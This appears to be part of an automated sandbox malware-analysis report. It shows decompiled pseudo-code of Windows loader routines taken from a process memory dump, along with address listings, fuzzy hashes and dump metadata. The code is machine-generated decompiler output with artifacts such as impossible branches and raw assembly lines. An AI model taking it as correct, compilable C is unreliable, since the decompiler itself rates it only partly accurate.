														E02DAE974(_v180,  *(_t353 + 0x18), __eflags, _v168, 0,  &_v168);
													}
													if( *0x2e18472 != 0) {
														_v192 = 0;
														_t342 =  *0x7ffe0330;
														_t361 =  *0x2e1b218; // 0x0
														asm("ror edi, cl");
														 *0x2e1b1e0( &_v192, _t353, _v168, 0, _v180);
														 *(_t361 ^  *0x7ffe0330)();
														_t269 = _v192;
														_t353 = _v176;
														__eflags = _t269;
														if(__eflags != 0) {
															_v168 = _t269;
														}
													}
												}
											}
											if(_t374 == 0xc0000135 || _t374 == 0xc0000142) {
												_t366 = 0xc000007a;
											}
											_t247 =  *(_t353 + 0x50);
											if(_t247[3] == 0xffffffff) {
												L40:
												if(_t366 == 0xc000007a) {
													__eflags = _t288;
													if(_t288 == 0) {
														goto L136;
													} else {
														_t366 = 0xc0000139;
													}
													goto L54;
												}
											} else {
												_t249 =  *_t247;
												if(( *(_t249 - 0x20) & 0x00000020) != 0) {
													goto L40;
												} else {
													_t250 = _t249 | 0xffffffff;
													asm("lock xadd [edi+0x9c], eax");
													if((_t249 | 0xffffffff) == 0) {
														E02D42280(_t250, 0x2e184d8);
														_t342 =  *(_t353 + 0x54);
														_t165 = _t353 + 0x54; // 0x54
														_t252 = _t165;
														__eflags =  *(_t342 + 4) - _t252;
														if( *(_t342 + 4) != _t252) {
															L135:
															asm("int 0x29");
															L136:
															_t288 = _v200;
															_t366 = 0xc0000138;
															L54:
															_t342 = _t288;
															L02D63898(0, _t288, _t366);
														} else {
															_t324 =  *(_t252 + 4);
															__eflags =  *_t324 - _t252;
															if( *_t324 != _t252) {
																goto L135;
															} else {
																 *_t324 = _t342;
																 *(_t342 + 4) = _t324;
																_t293 =  *(_t353 + 0x50);
																_v180 =  *_t293;
																E02D3FFB0(_t293, _t353, 0x2e184d8);
																__eflags =  *((short*)(_t353 + 0x3a));
																if( *((short*)(_t353 + 0x3a)) != 0) {
																	_t342 = 0;
																	__eflags = 0;
																	E02D637F5(_t353, 0);
																}
																E02D60413(_t353);
																_t256 =  *(_t353 + 0x48);
																__eflags = _t256;
																if(_t256 != 0) {
																	__eflags = _t256 - 0xffffffff;
																	if(_t256 != 0xffffffff) {
																		E02D59B10(_t256);
																	}
																}
																__eflags =  *(_t353 + 0x28);
																if( *(_t353 + 0x28) != 0) {
																	_t174 = _t353 + 0x24; // 0x24
																	E02D502D6(_t174);
																}
																L02D477F0( *0x2e17b98, 0, _t353);
																__eflags = _v180 - _t293;
																if(__eflags == 0) {
																	E02D5C277(_t293, _t366);
																}
																_t288 = _v164;
																goto L40;
															}
														}
													} else {
														goto L40;
													}
												}
											}
										}
									} else {
										L02D3EC7F(_t353);
										L02D519B8(_t287, 0, _t353, 0);
										_t200 = E02D2F4E3(__eflags);
										continue;
									}
								}
								L41:
								if(_v157 != 0) {
									L02D477F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t288);
								}
								if(_t366 < 0) {
									L46:
									 *_v212 = _v168;
									_t204 = _t366;
									L47:
									_pop(_t354);
									_pop(_t367);
									_pop(_t289);
									return E02D6B640(_t204, _t289, _v8 ^ _t376, _t342, _t354, _t367);
								} else {
									_t206 =  *0x2e1b2f8; // 0x590000
									if((_t206 |  *0x2e1b2fc) == 0 || ( *0x2e1b2e4 & 0x00000001) != 0) {
										goto L46;
									} else {
										_t297 =  *0x2e1b2ec; // 0x100
										_v200 = 0;
										if((_t297 >> 0x00000008 & 0x00000003) == 3) {
											_t355 = _v168;
											_t342 =  &_v208;
											_t208 = E02DD6B68(_v168,  &_v208, _v168, __eflags);
											__eflags = _t208 - 1;
											if(_t208 == 1) {
												goto L46;
											} else {
												__eflags = _v208 & 0x00000010;
												if((_v208 & 0x00000010) == 0) {
													goto L46;
												} else {
													_t342 = 4;
													_t366 = E02DD6AEB(_t355, 4,  &_v216);
													__eflags = _t366;
													if(_t366 >= 0) {
														goto L46;
													} else {
														asm("int 0x29");
														_t356 = 0;
														_v44 = 0;
														_t290 = _v52;
														__eflags = 0;
														if(0 == 0) {
															L108:
															_t356 = 0;
															_v44 = 0;
															goto L63;
														} else {
															__eflags = 0;
															if(0 < 0) {
																goto L108;
															}
															L63:
															_v112 = _t356;
															__eflags = _t356;
															if(_t356 == 0) {
																L143:
																_v8 = 0xfffffffe;
																_t211 = 0xc0000089;
															} else {
																_v36 = 0;
																_v60 = 0;
																_v48 = 0;
																_v68 = 0;
																_v44 = _t290 & 0xfffffffc;
																E02D3E9C0(1, _t290 & 0xfffffffc, 0, 0,  &_v68);
																_t306 = _v68;
																__eflags = _t306;
																if(_t306 == 0) {
																	_t216 = 0xc000007b;
																	_v36 = 0xc000007b;
																	_t307 = _v60;
																} else {
																	__eflags = _t290 & 0x00000001;
																	if(__eflags == 0) {
																		_t349 =  *(_t306 + 0x18) & 0x0000ffff;
																		__eflags = _t349 - 0x10b;
																		if(_t349 != 0x10b) {
																			__eflags = _t349 - 0x20b;
																			if(_t349 == 0x20b) {
																				goto L102;
																			} else {
																				_t307 = 0;
																				_v48 = 0;
																				_t216 = 0xc000007b;
																				_v36 = 0xc000007b;
																				goto L71;
																			}
																		} else {
																			L102:
																			_t307 =  *(_t306 + 0x50);
																			goto L69;
																		}
																		goto L151;
																	} else {
																		_t239 = L02D3EAEA(_t290, _t290, _t356, _t366, __eflags);
																		_t307 = _t239;
																		_v60 = _t307;
																		_v48 = _t307;
																		__eflags = _t307;
																		if(_t307 != 0) {
																			L70:
																			_t216 = _v36;
																		} else {
																			_push(_t239);
																			_push(0x14);
																			_push( &_v144);
																			_push(3);
																			_push(_v44);
																			_push(0xffffffff);
																			_t319 = E02D69730();
																			_v36 = _t319;
																			__eflags = _t319;
																			if(_t319 < 0) {
																				_t216 = 0xc000001f;
																				_v36 = 0xc000001f;
																				_t307 = _v60;
																			} else {
																				_t307 = _v132;
																				L69:
																				_v48 = _t307;
																				goto L70;
																			}
																		}
																	}
																}
																L71:
																_v72 = _t307;
																_v84 = _t216;
																__eflags = _t216 - 0xc000007b;
																if(_t216 == 0xc000007b) {
																	L150:
																	_v8 = 0xfffffffe;
																	_t211 = 0xc000007b;
																} else {
																	_t344 = _t290 & 0xfffffffc;
																	_v76 = _t344;
																	__eflags = _v40 - _t344;
																	if(_v40 <= _t344) {
																		goto L150;
																	} else {
																		__eflags = _t307;
																		if(_t307 == 0) {
																			L75:
																			_t217 = 0;
																			_v104 = 0;
																			__eflags = _t366;
																			if(_t366 != 0) {
																				__eflags = _t290 & 0x00000001;
																				if((_t290 & 0x00000001) != 0) {
																					_t217 = 1;
																					_v104 = 1;
																				}
																				_t290 = _v44;
																				_v52 = _t290;
																			}
																			__eflags = _t217 - 1;
																			if(_t217 != 1) {
																				_t369 = 0;
																				_t218 = _v40;
																				goto L91;
																			} else {
																				_v64 = 0;
																				E02D3E9C0(1, _t290, 0, 0,  &_v64);
																				_t309 = _v64;
																				_v108 = _t309;
																				__eflags = _t309;
																				if(_t309 == 0) {
																					goto L143;
																				} else {
																					_t226 =  *(_t309 + 0x18) & 0x0000ffff;
																					__eflags = _t226 - 0x10b;
																					if(_t226 != 0x10b) {
																						__eflags = _t226 - 0x20b;
																						if(_t226 != 0x20b) {
																							goto L143;
																						} else {
																							_t371 =  *(_t309 + 0x98);
																							goto L83;
																						}
																					} else {
																						_t371 =  *(_t309 + 0x88);
																						L83:
																						__eflags = _t371;
																						if(_t371 != 0) {
																							_v80 = _t371 - _t356 + _t290;
																							_t310 = _v64;
																							_t348 = _t310 + 0x18 + ( *(_t309 + 0x14) & 0x0000ffff);
																							_t292 =  *(_t310 + 6) & 0x0000ffff;
																							_t311 = 0;
																							__eflags = 0;
																							while(1) {
																								_v120 = _t311;
																								_v116 = _t348;
																								__eflags = _t311 - _t292;
																								if(_t311 >= _t292) {
																									goto L143;
																								}
																								_t359 =  *((intOrPtr*)(_t348 + 0xc));
																								__eflags = _t371 - _t359;
																								if(_t371 < _t359) {
																									L98:
																									_t348 = _t348 + 0x28;
																									_t311 = _t311 + 1;
																									continue;
																								} else {
																									__eflags = _t371 -  *((intOrPtr*)(_t348 + 0x10)) + _t359;
																									if(_t371 >=  *((intOrPtr*)(_t348 + 0x10)) + _t359) {
																										goto L98;
																									} else {
																										__eflags = _t348;
																										if(_t348 == 0) {
																											goto L143;
																										} else {
																											_t218 = _v40;
																											_t312 =  *_t218;
																											__eflags = _t312 -  *((intOrPtr*)(_t348 + 8));
																											if(_t312 >  *((intOrPtr*)(_t348 + 8))) {
																												_v100 = _t359;
																												_t360 = _v108;
																												_t372 = L02D38F44(_v108, _t312);
																												__eflags = _t372;
																												if(_t372 == 0) {
																													goto L143;
																												} else {
																													_t290 = _v52;
																													_t369 = _v80 +  *((intOrPtr*)(_t372 + 0xc)) - _v100 + _v112 - E02D63C00(_t360, _t290,  *((intOrPtr*)(_t372 + 0xc)));
																													_t307 = _v72;
																													_t344 = _v76;
																													_t218 = _v40;
																													goto L91;
																												}
																											} else {
																												_t290 = _v52;
																												_t307 = _v72;
																												_t344 = _v76;
																												_t369 = _v80;
																												L91:
																												_t358 = _a4;
																												__eflags = _t358;
																												if(_t358 == 0) {
																													L95:
																													_t308 = _a8;
																													__eflags = _t308;
																													if(_t308 != 0) {
																														 *_t308 =  *((intOrPtr*)(_v40 + 4));
																													}
																													_v8 = 0xfffffffe;
																													_t211 = _v84;
																												} else {
																													_t370 =  *_t218 - _t369 + _t290;
																													 *_t358 = _t370;
																													__eflags = _t370 - _t344;
																													if(_t370 <= _t344) {
																														L149:
																														 *_t358 = 0;
																														goto L150;
																													} else {
																														__eflags = _t307;
																														if(_t307 == 0) {
																															goto L95;
																														} else {
																															__eflags = _t370 - _t344 + _t307;
																															if(_t370 >= _t344 + _t307) {
																																goto L149;
																															} else {
																																goto L95;
																															}
																														}
																													}
																												}
																											}
																										}
																									}
																								}
																								goto L97;
																							}
																						}
																						goto L143;
																					}
																				}
																			}
																		} else {
																			__eflags = _v40 - _t307 + _t344;
																			if(_v40 >= _t307 + _t344) {
																				goto L150;
																			} else {
																				goto L75;
																			}
																		}
																	}
																}
															}
															L97:
															 *[fs:0x0] = _v20;
															return _t211;
														}
													}
												}
											}
										} else {
											goto L46;
										}
									}
								}
								goto L151;
							}
							_t288 = _v164;
							_t366 = 0xc0000135;
							goto L41;
						}
					}
				}
				L151:
			}

0x02d3d5f2
0x02d3d5f5
0x02d3d5f5
0x02d3d5fd
0x02d3d600
0x02d3d60a
0x02d3d60d
0x02d3d617
0x02d3d61d
0x02d3d627
0x02d3d62e
0x02d3d911
0x02d3d913
0x00000000
0x02d3d919
0x02d3d919
0x02d3d919
0x02d3d634
0x02d3d634
0x02d3d634
0x02d3d634
0x02d3d640
0x02d3d8bf
0x00000000
0x02d3d646
0x02d3d646
0x02d3d64d
0x02d3d652
0x02d8b2fc
0x02d8b2fc
0x02d8b302
0x02d8b33b
0x02d8b341
0x00000000
0x02d8b304
0x02d8b304
0x02d8b319
0x02d8b31e
0x02d8b324
0x02d8b326
0x02d8b332
0x02d8b347
0x02d8b34c
0x02d8b351
0x02d8b35a
0x00000000
0x02d8b328
0x02d8b328
0x00000000
0x02d8b328
0x02d8b326
0x02d3d658
0x02d3d658
0x02d3d65b
0x02d3d665
0x00000000
0x02d3d66b
0x02d3d66b
0x02d3d66b
0x02d3d66b
0x02d3d66d
0x02d3d672
0x02d3d67a
0x00000000
0x00000000
0x02d3d680
0x02d3d686
0x02d3d8ce
0x02d3d8d4
0x02d3d8da
0x02d3d8dd
0x02d3d8dd
0x02d3d8e0
0x02d3d68c
0x02d3d691
0x02d3d69d
0x02d3d6a2
0x02d3d6a7
0x02d3d6b0
0x02d3d6b0
0x02d3d6b5
0x02d3d6e0
0x02d3d6b7
0x02d3d6b7
0x02d3d6b9
0x02d3d6b9
0x02d3d6bb
0x02d3d6bd
0x02d3d6ce
0x02d3d6d0
0x02d3d6d2
0x02d8b363
0x02d8b365
0x00000000
0x02d8b36b
0x00000000
0x02d8b36b
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x02d3d6bf
0x02d3d6bf
0x02d3d6e5
0x02d3d6e7
0x02d3d6e9
0x02d3d6e9
0x02d3d6ec
0x02d3d6ec
0x02d3d6ef
0x02d3d6f5
0x02d3d6f9
0x02d3d6fb
0x02d3d6fd
0x02d3d701
0x02d3d703
0x02d3d70a
0x02d3d70a
0x02d3d70a
0x02d3d701
0x02d3d70d
0x02d3d710
0x02d3d710
0x02d3d6c1
0x02d3d6c1
0x02d3d6c1
0x02d3d6c6
0x02d8b36d
0x02d8b36f
0x00000000
0x02d8b375
0x02d8b375
0x02d8b375
0x00000000
0x02d8b375
0x00000000
0x02d3d6cc
0x02d3d6d8
0x02d3d6d8
0x02d3d6d8
0x00000000
0x02d3d6c6
0x02d3d6bf
0x00000000
0x02d3d6da
0x02d3d6da
0x02d3d716
0x02d3d71b
0x02d3d720
0x02d3d726
0x02d3d726
0x02d3d72d
0x00000000
0x02d3d733
0x02d3d739
0x02d3d742
0x02d3d750
0x02d3d758
0x02d3d764
0x02d3d776
0x02d3d77a
0x02d3d783
0x02d3d928
0x02d3d92c
0x02d3d93d
0x02d3d944
0x02d3d94f
0x02d3d954
0x02d3d956
0x02d3d95f
0x02d3d961
0x02d3d973
0x02d3d973
0x02d3d956
0x02d3d944
0x02d3d92c
0x02d3d78b
0x02d8b394
0x02d3d791
0x02d3d798
0x02d8b3a3
0x02d8b3bb
0x02d8b3bb
0x02d3d7a5
0x02d3d866
0x02d3d870
0x02d3d884
0x02d3d892
0x02d3d898
0x02d3d89e
0x02d3d8a0
0x02d3d8a6
0x02d3d8ac
0x02d3d8ae
0x02d3d8b4
0x02d3d8b4
0x02d3d8ae
0x02d3d7a5
0x02d3d78b
0x02d3d7b1
0x02d8b3c5
0x02d8b3c5
0x02d3d7c3
0x02d3d7ca
0x02d3d7e5
0x02d3d7eb
0x02d3d8eb
0x02d3d8ed
0x00000000
0x02d3d8f3
0x02d3d8f3
0x02d3d8f3
0x00000000
0x02d3d8ed
0x02d3d7cc
0x02d3d7cc
0x02d3d7d2
0x00000000
0x02d3d7d4
0x02d3d7d4
0x02d3d7d7
0x02d3d7df
0x02d8b3d4
0x02d8b3d9
0x02d8b3dc
0x02d8b3dc
0x02d8b3df
0x02d8b3e2
0x02d8b468
0x02d8b46d
0x02d8b46f
0x02d8b46f
0x02d8b475
0x02d3d8f8
0x02d3d8f9
0x02d3d8fd
0x02d8b3e8
0x02d8b3e8
0x02d8b3eb
0x02d8b3ed
0x00000000
0x02d8b3ef
0x02d8b3ef
0x02d8b3f1
0x02d8b3f4
0x02d8b3fe
0x02d8b404
0x02d8b409
0x02d8b40e
0x02d8b410
0x02d8b410
0x02d8b414
0x02d8b414
0x02d8b41b
0x02d8b420
0x02d8b423
0x02d8b425
0x02d8b427
0x02d8b42a
0x02d8b42d
0x02d8b42d
0x02d8b42a
0x02d8b432
0x02d8b436
0x02d8b438
0x02d8b43b
0x02d8b43b
0x02d8b449
0x02d8b44e
0x02d8b454
0x02d8b458
0x02d8b458
0x02d8b45d
0x00000000
0x02d8b45d
0x02d8b3ed
0x00000000
0x00000000
0x00000000
0x02d3d7df
0x02d3d7d2
0x02d3d7ca
0x02d8b37c
0x02d8b37e
0x02d8b385
0x02d8b38a
0x00000000
0x02d8b38a
0x02d3d742
0x02d3d7f1
0x02d3d7f8
0x02d8b49b
0x02d8b49b
0x02d3d800
0x02d3d837
0x02d3d843
0x02d3d845
0x02d3d847
0x02d3d84a
0x02d3d84b
0x02d3d84e
0x02d3d857
0x02d3d802
0x02d3d802
0x02d3d80d
0x00000000
0x02d3d818
0x02d3d818
0x02d3d824
0x02d3d831
0x02d8b4a5
0x02d8b4ab
0x02d8b4b3
0x02d8b4b8
0x02d8b4bb
0x00000000
0x02d8b4c1
0x02d8b4c1
0x02d8b4c8
0x00000000
0x02d8b4ce
0x02d8b4d4
0x02d8b4e1
0x02d8b4e3
0x02d8b4e5
0x00000000
0x02d8b4eb
0x02d8b4f0
0x02d8b4f2
0x02d3dac9
0x02d3dacc
0x02d3dacf
0x02d3dad1
0x02d3dd78
0x02d3dd78
0x02d3dcf2
0x00000000
0x02d3dad7
0x02d3dad9
0x02d3dadb
0x00000000
0x00000000
0x02d3dae1
0x02d3dae1
0x02d3dae4
0x02d3dae6
0x02d8b4f9
0x02d8b4f9
0x02d8b500
0x02d3daec
0x02d3daec
0x02d3daf5
0x02d3daf8
0x02d3dafb
0x02d3db03
0x02d3db11
0x02d3db16
0x02d3db19
0x02d3db1b
0x02d8b52c
0x02d8b531
0x02d8b534
0x02d3db21
0x02d3db21
0x02d3db24
0x02d3dcd9
0x02d3dce2
0x02d3dce5
0x02d3dd6a
0x02d3dd6d
0x00000000
0x02d3dd73
0x02d8b51a
0x02d8b51c
0x02d8b51f
0x02d8b524
0x00000000
0x02d8b524
0x02d3dce7
0x02d3dce7
0x02d3dce7
0x00000000
0x02d3dce7
0x00000000
0x02d3db2a
0x02d3db2c
0x02d3db31
0x02d3db33
0x02d3db36
0x02d3db39
0x02d3db3b
0x02d3db66
0x02d3db66
0x02d3db3d
0x02d3db3d
0x02d3db3e
0x02d3db46
0x02d3db47
0x02d3db49
0x02d3db4c
0x02d3db53
0x02d3db55
0x02d3db58
0x02d3db5a
0x02d8b50a
0x02d8b50f
0x02d8b512
0x02d3db60
0x02d3db60
0x02d3db63
0x02d3db63
0x00000000
0x02d3db63
0x02d3db5a
0x02d3db3b
0x02d3db24
0x02d3db69
0x02d3db69
0x02d3db6c
0x02d3db6f
0x02d3db74
0x02d8b557
0x02d8b557
0x02d8b55e
0x02d3db7a
0x02d3db7c
0x02d3db7f
0x02d3db82
0x02d3db85
0x00000000
0x02d3db8b
0x02d3db8b
0x02d3db8d
0x02d3db9b
0x02d3db9b
0x02d3db9d
0x02d3dba0
0x02d3dba2
0x02d3dba4
0x02d3dba7
0x02d3dba9
0x02d3dbae
0x02d3dbae
0x02d3dbb1
0x02d3dbb4
0x02d3dbb4
0x02d3dbb7
0x02d3dbba
0x02d3dcd2
0x02d3dcd4
0x00000000
0x02d3dbc0
0x02d3dbc0
0x02d3dbd2
0x02d3dbd7
0x02d3dbda
0x02d3dbdd
0x02d3dbdf
0x00000000
0x02d3dbe5
0x02d3dbe5
0x02d3dbee
0x02d3dbf1
0x02d8b541
0x02d8b544
0x00000000
0x02d8b546
0x02d8b546
0x00000000
0x02d8b546
0x02d3dbf7
0x02d3dbf7
0x02d3dbfd
0x02d3dbfd
0x02d3dbff
0x02d3dc0b
0x02d3dc15
0x02d3dc1b
0x02d3dc1d
0x02d3dc21
0x02d3dc21
0x02d3dc23
0x02d3dc23
0x02d3dc26
0x02d3dc29
0x02d3dc2b
0x00000000
0x00000000
0x02d3dc31
0x02d3dc34
0x02d3dc36
0x02d3dcbf
0x02d3dcbf
0x02d3dcc2
0x00000000
0x02d3dc3c
0x02d3dc41
0x02d3dc43
0x00000000
0x02d3dc45
0x02d3dc45
0x02d3dc47
0x00000000
0x02d3dc4d
0x02d3dc4d
0x02d3dc50
0x02d3dc52
0x02d3dc55
0x02d3dcfa
0x02d3dcfe
0x02d3dd08
0x02d3dd0a
0x02d3dd0c
0x00000000
0x02d3dd12
0x02d3dd15
0x02d3dd2d
0x02d3dd2f
0x02d3dd32
0x02d3dd35
0x00000000
0x02d3dd35
0x02d3dc5b
0x02d3dc5b
0x02d3dc5e
0x02d3dc61
0x02d3dc64
0x02d3dc67
0x02d3dc67
0x02d3dc6a
0x02d3dc6c
0x02d3dc8e
0x02d3dc8e
0x02d3dc91
0x02d3dc93
0x02d3dcce
0x02d3dcce
0x02d3dc95
0x02d3dc9c
0x02d3dc6e
0x02d3dc72
0x02d3dc75
0x02d3dc77
0x02d3dc79
0x02d8b551
0x02d8b551
0x00000000
0x02d3dc7f
0x02d3dc7f
0x02d3dc81
0x00000000
0x02d3dc83
0x02d3dc86
0x02d3dc88
0x00000000
0x00000000
0x00000000
0x00000000
0x02d3dc88
0x02d3dc81
0x02d3dc79
0x02d3dc6c
0x02d3dc55
0x02d3dc47
0x02d3dc43
0x00000000
0x02d3dc36
0x02d3dc23
0x00000000
0x02d3dbff
0x02d3dbf1
0x02d3dbdf
0x02d3db8f
0x02d3db92
0x02d3db95
0x00000000
0x00000000
0x00000000
0x00000000
0x02d3db95
0x02d3db8d
0x02d3db85
0x02d3db74
0x02d3dc9f
0x02d3dca2
0x02d3dcb0
0x02d3dcb0
0x02d3dad1
0x02d8b4e5
0x02d8b4c8
0x00000000
0x00000000
0x00000000
0x02d3d831
0x02d3d80d
0x00000000
0x02d3d800
0x02d8b47f
0x02d8b485
0x00000000
0x02d8b485
0x02d3d665
0x02d3d652
0x00000000

Memory Dump Source

Source File: 0000000D.00000002.925610066.0000000002D00000.00000040.00000001.sdmp, Offset: 02D00000, based on PE: true

Associated: 0000000D.00000002.925774022.0000000002E1B000.00000040.00000001.sdmp Download File
Associated: 0000000D.00000002.925791016.0000000002E1F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 59ca12ebeb88a41401c60aea9f3ce96fbea9c35a2a66381dde1b64a3d8eaad20
Instruction ID: 94c487d673476559f7c531fd6242765cfb474ac05f51eccbf7c7754c8b9b3c05
Opcode Fuzzy Hash: 59ca12ebeb88a41401c60aea9f3ce96fbea9c35a2a66381dde1b64a3d8eaad20
Instruction Fuzzy Hash: 43E1BF70A007598FEB26DF28C894BA9B7B3FF45708F0441AAD94A97390DB70AD85CF51

Uniqueness

Uniqueness Score: -1.00%

Function 02D5513A, Relevance: .3, Instructions: 258
COMMON

Download Yara Rule

C-Code - Quality: 67%

			E02D5513A(intOrPtr __ecx, void* __edx) {
				signed int _v8;
				signed char _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				char _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				intOrPtr _v44;
				intOrPtr _v48;
				char _v63;
				char _v64;
				signed int _v72;
				signed int _v76;
				signed int _v80;
				signed int _v84;
				signed int _v88;
				signed char* _v92;
				signed int _v100;
				signed int _v104;
				char _v105;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* _t157;
				signed int _t159;
				signed int _t160;
				unsigned int* _t161;
				intOrPtr _t165;
				signed int _t172;
				signed char* _t181;
				intOrPtr _t189;
				intOrPtr* _t200;
				signed int _t202;
				signed int _t203;
				char _t204;
				signed int _t207;
				signed int _t208;
				void* _t209;
				intOrPtr _t210;
				signed int _t212;
				signed int _t214;
				signed int _t221;
				signed int _t222;
				signed int _t226;
				intOrPtr* _t232;
				signed int _t233;
				signed int _t234;
				intOrPtr _t237;
				intOrPtr _t238;
				intOrPtr _t240;
				void* _t245;
				signed int _t246;
				signed int _t247;
				void* _t248;
				void* _t251;
				void* _t252;
				signed int _t253;
				signed int _t255;
				signed int _t256;

				_t255 = (_t253 & 0xfffffff8) - 0x6c;
				_v8 =  *0x2e1d360 ^ _t255;
				_v32 = _v32 & 0x00000000;
				_t251 = __edx;
				_t237 = __ecx;
				_t212 = 6;
				_t245 =  &_v84;
				_t207 =  *((intOrPtr*)(__ecx + 0x48));
				_v44 =  *((intOrPtr*)(__edx + 0xc8));
				_v48 = __ecx;
				_v36 = _t207;
				_t157 = memset(_t245, 0, _t212 << 2);
				_t256 = _t255 + 0xc;
				_t246 = _t245 + _t212;
				if(_t207 == 2) {
					_t247 =  *(_t237 + 0x60);
					_t208 =  *(_t237 + 0x64);
					_v63 =  *((intOrPtr*)(_t237 + 0x4c));
					_t159 =  *((intOrPtr*)(_t237 + 0x58));
					_v104 = _t159;
					_v76 = _t159;
					_t160 =  *((intOrPtr*)(_t237 + 0x5c));
					_v100 = _t160;
					_v72 = _t160;
					L19:
					_v80 = _t208;
					_v84 = _t247;
					L8:
					_t214 = 0;
					if( *(_t237 + 0x74) > 0) {
						_t82 = _t237 + 0x84; // 0x124
						_t161 = _t82;
						_v92 = _t161;
						while( *_t161 >> 0x1f != 0) {
							_t200 = _v92;
							if( *_t200 == 0x80000000) {
								break;
							}
							_t214 = _t214 + 1;
							_t161 = _t200 + 0x10;
							_v92 = _t161;
							if(_t214 <  *(_t237 + 0x74)) {
								continue;
							}
							goto L9;
						}
						_v88 = _t214 << 4;
						_v40 = _t237 +  *((intOrPtr*)(_v88 + _t237 + 0x78));
						_t165 = 0;
						asm("adc eax, [ecx+edx+0x7c]");
						_v24 = _t165;
						_v28 = _v40;
						_v20 =  *((intOrPtr*)(_v88 + _t237 + 0x80));
						_t221 = _v40;
						_v16 =  *_v92;
						_v32 =  &_v28;
						if( *(_t237 + 0x4e) >> 0xf == 0) {
							goto L9;
						}
						_t240 = _v48;
						if( *_v92 != 0x80000000) {
							goto L9;
						}
						 *((intOrPtr*)(_t221 + 8)) = 0;
						 *((intOrPtr*)(_t221 + 0xc)) = 0;
						 *((intOrPtr*)(_t221 + 0x14)) = 0;
						 *((intOrPtr*)(_t221 + 0x10)) = _v20;
						_t226 = 0;
						_t181 = _t251 + 0x66;
						_v88 = 0;
						_v92 = _t181;
						do {
							if( *((char*)(_t181 - 2)) == 0) {
								goto L31;
							}
							_t226 = _v88;
							if(( *_t181 & 0x000000ff) == ( *(_t240 + 0x4e) & 0x7fff)) {
								_t181 = E02D6D0F0(1, _t226 + 0x20, 0);
								_t226 = _v40;
								 *(_t226 + 8) = _t181;
								 *((intOrPtr*)(_t226 + 0xc)) = 0;
								L34:
								if(_v44 == 0) {
									goto L9;
								}
								_t210 = _v44;
								_t127 = _t210 + 0x1c; // 0x1c
								_t249 = _t127;
								E02D42280(_t181, _t127);
								 *(_t210 + 0x20) =  *( *[fs:0x18] + 0x24);
								_t185 =  *((intOrPtr*)(_t210 + 0x94));
								if( *((intOrPtr*)(_t210 + 0x94)) != 0) {
									L02D477F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t185);
								}
								_t189 = L02D44620(_t226,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, _v20 + 0x10);
								 *((intOrPtr*)(_t210 + 0x94)) = _t189;
								if(_t189 != 0) {
									 *((intOrPtr*)(_t189 + 8)) = _v20;
									 *( *((intOrPtr*)(_t210 + 0x94)) + 0xc) = _v16;
									_t232 =  *((intOrPtr*)(_t210 + 0x94));
									 *_t232 = _t232 + 0x10;
									 *(_t232 + 4) =  *(_t232 + 4) & 0x00000000;
									E02D6F3E0( *((intOrPtr*)( *((intOrPtr*)(_t210 + 0x94)))), _v28, _v20);
									_t256 = _t256 + 0xc;
								}
								 *(_t210 + 0x20) =  *(_t210 + 0x20) & 0x00000000;
								E02D3FFB0(_t210, _t249, _t249);
								_t222 = _v76;
								_t172 = _v80;
								_t208 = _v84;
								_t247 = _v88;
								L10:
								_t238 =  *((intOrPtr*)(_t251 + 0x1c));
								_v44 = _t238;
								if(_t238 != 0) {
									 *0x2e1b1e0(_v48 + 0x38, _v36, _v63, _t172, _t222, _t247, _t208, _v32,  *((intOrPtr*)(_t251 + 0x20)));
									_v44();
								}
								_pop(_t248);
								_pop(_t252);
								_pop(_t209);
								return E02D6B640(0, _t209, _v8 ^ _t256, _t238, _t248, _t252);
							}
							_t181 = _v92;
							L31:
							_t226 = _t226 + 1;
							_t181 =  &(_t181[0x18]);
							_v88 = _t226;
							_v92 = _t181;
						} while (_t226 < 4);
						goto L34;
					}
					L9:
					_t172 = _v104;
					_t222 = _v100;
					goto L10;
				}
				_t247 = _t246 | 0xffffffff;
				_t208 = _t247;
				_v84 = _t247;
				_v80 = _t208;
				if( *((intOrPtr*)(_t251 + 0x4c)) == _t157) {
					_t233 = _v72;
					_v105 = _v64;
					_t202 = _v76;
				} else {
					_t204 =  *((intOrPtr*)(_t251 + 0x4d));
					_v105 = 1;
					if(_v63 <= _t204) {
						_v63 = _t204;
					}
					_t202 = _v76 |  *(_t251 + 0x40);
					_t233 = _v72 |  *(_t251 + 0x44);
					_t247 =  *(_t251 + 0x38);
					_t208 =  *(_t251 + 0x3c);
					_v76 = _t202;
					_v72 = _t233;
					_v84 = _t247;
					_v80 = _t208;
				}
				_v104 = _t202;
				_v100 = _t233;
				if( *((char*)(_t251 + 0xc4)) != 0) {
					_t237 = _v48;
					_v105 = 1;
					if(_v63 <=  *((intOrPtr*)(_t251 + 0xc5))) {
						_v63 =  *((intOrPtr*)(_t251 + 0xc5));
						_t237 = _v48;
					}
					_t203 = _t202 |  *(_t251 + 0xb8);
					_t234 = _t233 |  *(_t251 + 0xbc);
					_t247 = _t247 &  *(_t251 + 0xb0);
					_t208 = _t208 &  *(_t251 + 0xb4);
					_v104 = _t203;
					_v76 = _t203;
					_v100 = _t234;
					_v72 = _t234;
					_v84 = _t247;
					_v80 = _t208;
				}
				if(_v105 == 0) {
					_v36 = _v36 & 0x00000000;
					_t208 = 0;
					_t247 = 0;
					 *(_t237 + 0x74) =  *(_t237 + 0x74) & 0;
					goto L19;
				} else {
					_v36 = 1;
					goto L8;
				}
			}

0x02d55142
0x02d5514c
0x02d55150
0x02d55157
0x02d55159
0x02d5515e
0x02d55165
0x02d55169
0x02d5516c
0x02d55172
0x02d55176
0x02d5517a
0x02d5517a
0x02d5517a
0x02d5517f
0x02d96d8b
0x02d96d8e
0x02d96d91
0x02d96d95
0x02d96d98
0x02d96d9c
0x02d96da0
0x02d96da3
0x02d96da7
0x02d96e26
0x02d96e26
0x02d96e2a
0x02d551f9
0x02d551f9
0x02d551fe
0x02d96e33
0x02d96e33
0x02d96e39
0x02d96e3d
0x02d96e46
0x02d96e50
0x00000000
0x00000000
0x02d96e52
0x02d96e53
0x02d96e56
0x02d96e5d
0x00000000
0x00000000
0x00000000
0x02d96e5f
0x02d96e67
0x02d96e77
0x02d96e7f
0x02d96e80
0x02d96e88
0x02d96e90
0x02d96e9f
